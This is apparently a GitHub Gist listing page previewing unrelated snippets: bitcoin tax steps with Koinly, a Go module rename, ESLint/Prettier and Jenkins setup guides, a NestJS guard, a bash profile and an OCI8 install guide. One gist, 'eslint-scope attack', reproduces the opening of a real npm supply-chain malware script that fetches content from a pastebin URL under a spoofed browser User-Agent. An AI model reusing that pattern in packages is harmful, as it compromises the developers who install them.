Skip to content

Instantly share code, notes, and snippets.

const CH_BRACE_L = 0x7b as const;
const CH_BRACE_R = 0x7d as const;
const CH_SQUARE_L = 0x5b as const;
const CH_SQUARE_R = 0x5d as const;
const CH_QUOTE_D = 0x22 as const;
const CH_ESCAPE = 0x5c as const;
const CH_COMMA = 0x2c as const;
const CH_COLON = 0x3a as const;
const CH_DOT = 0x2e as const;
const CH_MINUS = 0x2d as const;
@jspiro
jspiro / README.md
Last active October 29, 2023 23:37
How I do my bitcoin taxes

TurboTax has no crypto support, it also doesn't support importing CSVs of transactions, and CreditKarma has no ability to import from financial institutions at all (so e.g. wealthfront is an instant dealbreaker for trying it). Square sends out terrible CSVs of transactions and does very little to help you report for the few bucks you made.

  1. Import transactions to https://app.koinly.io/transactions
  2. Set tax basis to LIFO, print https://app.koinly.io/reports/2019 to PDF
  3. Load https://app.koinly.io/transactions?page=1 and find the transactions JSON transfer in the Network tab, Copy as cURL
  4. In the terminal, paste this, and either remove the gzip line or pipe through gzip, do this for each page, e.g.:
curl 'https://api.koinly.io/api/transactions?page=1&per_page=20' \
    -XGET \
    -H 'Accept: application/json, text/plain, */*' \
go mod edit -module {NEW_MODULE_NAME}
-- rename all imported module
find . -type f -name '*.go' \
-exec sed -i -e 's,{OLD_MODULE},{NEW_MODULE},g' {} \;
@geordyjames
geordyjames / eslint_prettier_airbnb.md
Last active March 23, 2024 03:53
VSCode - ESLint, Prettier & Airbnb Setup for Node.js Projects

VSCode - ESLint, Prettier & Airbnb Setup for Node.js Projects

1. Install ESLint & Prettier extensions for VSCode

Optional - Set format on save and any global prettier options

2. Install Packages

npm i -D eslint prettier eslint-plugin-prettier eslint-config-prettier eslint-config-airbnb-base eslint-plugin-node eslint-config-node
@DimosthenisK
DimosthenisK / self.decorator.ts
Created December 17, 2019 10:14
NestJS Guard + Decorator that allows user access limit to his own resources
import { SetMetadata } from '@nestjs/common';
export interface SelfDecoratorParams {
userIDParam: string;
allowAdmins?: boolean;
}
export const Self = (params: SelfDecoratorParams | string) =>
SetMetadata(
'selfParams',
@mrk-han
mrk-han / jenkins-playground-setup.md
Last active August 18, 2023 02:14
Setting up a Jenkins Playground: Download, Setup, Test and Run Groovy Scripts on a Local Jenkins Server Instance with MacOS

Test a Local Jenkins Instance on MacOS: Download, Setup, and Run Groovy Scripts Locally

About

There are many ways to test Jenkins...

Jenkins Pipeline Unit is great but it's generally recommended to keep all of your logic with stages and not get too crazy with custom Groovy in your pipeline. Though, it's a great option if you have a very advanced use-case and want to make sure your code is reliable.

The Replay Pipeline Run Option is awesome if you want to verify a quick change or iterate quickly on a previously setup pipeline. But it only allows for altering Jenkinsfile Code and runs against the production Jenkins Instance.

@slmingol
slmingol / IAM Permissions List.md
Created September 15, 2019 20:43 — forked from mechcozmo/IAM Permissions List.md
A list of IAM permissions you can use in policy documents. Collected from the myriad of places Amazon hides them. (incomplete)
@alexkilla
alexkilla / .bash_profile
Last active May 5, 2021 13:59
This is my bash profile
# Ifortune
# In some cases you might need this
export TZ="UTC"
# This is to avoid to have further problems with compass
export LANG=en_US.UTF-8
export PATH="/System/Library/Frameworks/Python.framework/Versions/2.7/bin:${PATH}"
export WORKON_HOME=~/Envs
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@mazedlx
mazedlx / how_to_install_oci8_on_ubuntu_17.10_and_PHP_7.1.md
Last active February 21, 2024 10:05
How to install OCI8 on Ubuntu 17.10 and PHP 7.1

How to install OCI8 on Ubuntu 17.10 and PHP 7.1

This guide refers to Instantclient Version 12.2.0.1.0

Install Oracle Instant Client and SDK

Step 1

Download the latest Oracle Instant Client and SDK from the Oracle website (Yeah, fuck you Oracle, you need to create an account to download the files).

http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html